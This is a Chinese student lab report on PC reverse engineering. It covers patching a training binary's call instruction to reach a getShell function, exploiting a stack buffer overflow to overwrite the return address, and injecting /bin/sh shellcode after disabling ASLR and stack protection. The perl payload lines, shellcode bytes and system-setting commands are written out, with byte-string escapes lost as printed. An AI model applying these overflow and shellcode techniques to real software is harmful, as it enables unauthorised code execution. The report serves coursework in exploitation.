• 20165334 PC平台逆向破解


    Exp1:PC平台逆向破解

    一、实践目的

    • 本次实践的对象是一个名为pwn1的linux可执行文件。

    • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    二、实践内容

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。

    任务一、直接修改程序机器指令,改变程序执行流程

    1、使用objdump -d pwn1pwn1d反汇编

    从上图可以看出,80484b5: e8 d7 ff ff ff call 8048491 <foo>这条汇编指令,在main函数中调用位于地址8048491处的foo函数,e8表示“call”,即跳转。如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,我们计算出应该改为c3 ff ff ff

    2、修改步骤如下

    • vi pwn1进入命令模式

    • 输入:%!xxd将显示模式切换为十六进制

    • 在底行模式输入/e8 d7定位需要修改的地方,并确认

    • 进入插入模式,修改d7c3

    • 输入:%!xxd -r将十六进制转换为原格式

    • 使用:wq保存并退出

    3、反汇编查看修改后的代码,发现call指令正确调用getShell

    4、运行修改后的代码,可以得到shell提示符

    任务二、通过构造输入参数,造成BOF攻击,改变程序执行流

    • pwn2该可执行文件正常运行是调用函数foo,这个函数有Bufferoverflow漏洞。读入字符串时,系统只预留了一定字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。尝试发现,当输入为以下字符时已经发生段错误,产生溢出。

    1、使用gdb调试pwn2进入gdb调试,输入字串1111111122222222333333334444444455555555;观察一下各寄存器的值

    • 此时eip寄存器中的值为0x35353535,即5555SCII码。eip寄存器的值是保存程序下一步所要执行指令的地址,此处我们可以看出本来应返回到foo函数的返回地址已被"5555"覆。

    2、将输入字符串的“55555555”改成“12345678”,以便进一步观察修改的地方。

    • 此时寄存器eip的值,如上图0x34333231,换算成ASCⅡ码刚好是1234。也就是说如果输入字符串1111111122222222333333334444444412345678,那1234那4个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输给pwn2,pwn2就会运行getShell由反汇编结果可知getShell的内存地址为:0804847d
    • 因无法通过键盘输入x7dx84x04x08这样的16进制值,需要使用Perl语言构造文件(Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用)

    3、输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    4、然后将input的输入,通过管道符“|”,作为pwn1的输入。

    任务三、注入Shellcode并运行攻击

    • shellcode就是一段机器指令(code)
    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
    • 首先使用apt-get install execstack命令安装execstack。

    修改以下内容

    • 设置堆栈可执行 execstack -s pwn2
    • 查询文件的堆栈是否可执行 execstack -q pwn2
    • 关闭地址随机化cho "0" > /proc/sys/kernel/randomize_va_space
    • 查询地址随机化是否关闭(0代表关闭,2代表开启)more/proc/sys/kernel/randomize_va_space

    3.1 构造攻击buf(采用 retaddr+nop+shellcode 方法)

    • 采用老师提供的shellcode 的代码
      x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00
    • 用perl语言输入代码
      perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    • 上面的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们把它改为这段shellcode的地址。

    3.2确定返回地址的值

    • 将写好的代码通过管道方式输入给程序pwn2中的foo函数进行覆盖
      (cat input_shellcode;cat) | ./pwn2
    • 打开另外一个终端,用gdb来调试pwn1这个进程
      • ps -ef | grep pwn2确定pwn2的进程号
      • 启动gdb调试这个程序 gdb attach 2644
    • 设置断点来查看注入buf的内存地址disassemble foo
    • ret的地址为 0x080484ae,ret完就会跳到我们覆盖的返回地址了
    • break *0x080484ae设置断点
    • 在另一个终端按下回车,这样程序就会执行之后在断点处停下来
    • 再在gdb调试的终端输入 c 继续运行程序
    • 通过info r esp查看esp寄存器的地址
    • 上图可以看到 01010304所在的地址为0xffffd23c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即0xffffd23c + 0x00000004 = 0xffffd240
    • 退出gdp调试。

    修改注入代码的覆盖地址

    • 输入perl -e 'print "A" x 32;print "x40xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    • 执行程序,攻击成功

    三、实验收获与感想

    通过这次实验初步感受到这门课的内容,虽然本次实验的实验原理比较简单,但是实践过程中需要细节需要注意,涉及到的知识也比较多,复习了汇编和计算机原理的许多知识,为今后的学习打下了基础。
     - 关于对漏洞的理解
         通过这次实验我觉得漏洞可能是程序本身的一些设计漏洞或缺陷,使得攻击者利用这个缺陷改变程序的执行逻辑,使得程序按照攻击者的意愿执行。
          漏洞的危害:可能导致计算机安全性的破会,程序瘫痪,数据丢失,财产损失等。
  • 相关阅读:
    构建单页面应用
    chrome进入控制台时自动进入断点模式的解决方法
    git安装--linux下的安装
    express响应前端ajax请求
    nodejs链接mongodb数据库
    Redis的Java客户端Jedis的八种调用方式(事务、管道、分布式)介绍
    Nginx中如何限制某个IP同一时间段的访问次数
    nodejs && apidoc
    apidoc
    android sdk
  • 原文地址:https://www.cnblogs.com/ltl123/p/10498550.html
Copyright © 2020-2023  润新知